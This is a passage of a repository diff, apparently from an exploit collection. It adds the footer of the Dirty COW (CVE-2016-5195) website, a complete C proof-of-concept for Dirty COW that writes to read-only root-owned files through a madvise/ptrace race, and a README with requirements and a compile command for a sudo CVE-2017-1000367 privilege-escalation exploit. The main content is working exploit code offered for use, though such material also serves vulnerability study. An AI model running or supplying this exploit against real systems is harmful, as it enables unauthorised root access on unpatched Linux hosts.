<p>The security community, we included, must learn to find these inevitable human mistakes sooner. Please support the development effort of software you trust your privacy to. <a href="https://www.freebsd.org/donations/">Donate money to the FreeBSD project</a>.</p>
|
||||
|
||||
<h4>Is there <a href="https://youtu.be/jHPOzQzk9Qo">a bright side</a> to all this?</h4>
|
||||
<p>For those service providers who are affected, this is a good opportunity to upgrade security strength of the systems used. A lot of software gets updates which otherwise would have not been urgent. Although this is painful for the security community, we can rest assured that infrastructure of the cyber criminals and their secrets have been exposed as well.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<footer class="footer">
|
||||
<p>Dirty COW is a community-maintained project for the bug otherwise known as CVE-2016-5195. It is not associated with the Linux Foundation, nor with the original discoverer of this vulnerability. If you would like to contribute go to <a href="//github.com/dirtycow/dirtycow.github.io">GitHub</a>.</p>
|
||||
</footer>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,72 @@
|
|||
// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
|
||||
#include <fcntl.h> //// pikachu
|
||||
#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
|
||||
#include <string.h> //// pokeball
|
||||
#include <stdio.h> //// (___)
|
||||
#include <stdint.h> //// (o o)_____/
|
||||
#include <sys/mman.h> //// @@ ` \
|
||||
#include <sys/types.h> //// \ ____, /miltank
|
||||
#include <sys/stat.h> //// // //
|
||||
#include <sys/wait.h> //// ^^ ^^
|
||||
#include <sys/ptrace.h> //// mmap bc757000
|
||||
#include <unistd.h> //// madvise 0
|
||||
////////////////////////////////////////////// ptrace 0
|
||||
////////////////////////////////////////////// miltank
|
||||
//////////////////////////////////////////////
|
||||
int f ;// file descriptor
|
||||
void *map ;// memory map
|
||||
pid_t pid ;// process id
|
||||
pthread_t pth ;// thread
|
||||
struct stat st ;// file info
|
||||
//////////////////////////////////////////////
|
||||
void *madviseThread(void *arg) {// madvise thread
|
||||
int i,c=0 ;// counters
|
||||
for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
|
||||
c+=madvise(map,100,MADV_DONTNEED) ;// race condition
|
||||
printf("madvise %d\n\n",c) ;// sum of errors
|
||||
}// /madvise thread
|
||||
//////////////////////////////////////////////
|
||||
int main(int argc,char *argv[]) {// entrypoint
|
||||
if(argc<3)return 1 ;// ./d file contents
|
||||
printf("%s \n\
|
||||
(___) \n\
|
||||
(o o)_____/ \n\
|
||||
@@ ` \\ \n\
|
||||
\\ ____, /%s \n\
|
||||
// // \n\
|
||||
^^ ^^ \n\
|
||||
", argv[1], argv[2]) ;// dirty cow
|
||||
f=open(argv[1],O_RDONLY) ;// open read only file
|
||||
fstat(f,&st) ;// stat the fd
|
||||
map=mmap(NULL ,// mmap the file
|
||||
st.st_size+sizeof(long) ,// size is filesize plus padding
|
||||
PROT_READ ,// read-only
|
||||
MAP_PRIVATE ,// private mapping for cow
|
||||
f ,// file descriptor
|
||||
0) ;// zero
|
||||
printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
|
||||
pid=fork() ;// fork process
|
||||
if(pid) {// if parent
|
||||
waitpid(pid,NULL,0) ;// wait for child
|
||||
int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length)
|
||||
for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
|
||||
for(o=0;o<l;o++)//////////////////////// repeat for each byte
|
||||
for(u=0;u<10000;u++)////////////////// try 10K times each time
|
||||
c+=ptrace(PTRACE_POKETEXT ,// inject into memory
|
||||
pid ,// process id
|
||||
map+o ,// address
|
||||
*((long*)(argv[2]+o))) ;// value
|
||||
printf("ptrace %d\n\n",c) ;// sum of error code
|
||||
}// otherwise
|
||||
else {// child
|
||||
pthread_create(&pth ,// create new thread
|
||||
NULL ,// null
|
||||
madviseThread ,// run madviseThred
|
||||
NULL) ;// null
|
||||
ptrace(PTRACE_TRACEME) ;// stat ptrace on child
|
||||
kill(getpid(),SIGSTOP) ;// signal parent
|
||||
pthread_join(pth,NULL) ;// wait for thread
|
||||
}// / child
|
||||
return 0 ;// return
|
||||
}// / entrypoint
|
||||
//////////////////////////////////////////////
|
|
@ -0,0 +1,33 @@
|
|||
# CVE-2017-1000367
|
||||
|
||||
CVE-2017-1000367
|
||||
|
||||
The exp is from [@c0d3z3r0](https://github.com/c0d3z3r0/sudo-CVE-2017-1000367)
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2017-1000367](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000367.html)
|
||||
|
||||
## sudo
|
||||
```
|
||||
Sudo 1.8.6p7 - 1.8.20
|
||||
```
|
||||
|
||||
## Requirements
|
||||
- System must be selinux-enabled
|
||||
- sudo needs to be built with selinux support (sudo -r)
|
||||
- User needs to have sudo permissions e.g. "toor ALL=(ALL) NOPASSWD: /usr/bin/sum"
|
||||
|
||||
## Usage
|
||||
```
|
||||
- Compile: gcc -o sudopwn sudopwn.c -lutil
|
||||
```
|
||||
![CVE-2017-1000367](Screenshot_2017-06-05_21-40-38.png)
|
||||
|
||||
## References
|
||||
* [CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux](http://www.openwall.com/lists/oss-security/2017/05/30/16)
|
||||
* [Linux security alert: Bug in sudo’s get_process_ttyname()](https://www.cyberciti.biz/security/linux-security-alert-bug-in-sudos-get_process_ttyname-cve-2017-1000367/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
After Width: | Height: | Size: 75 KiB |
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue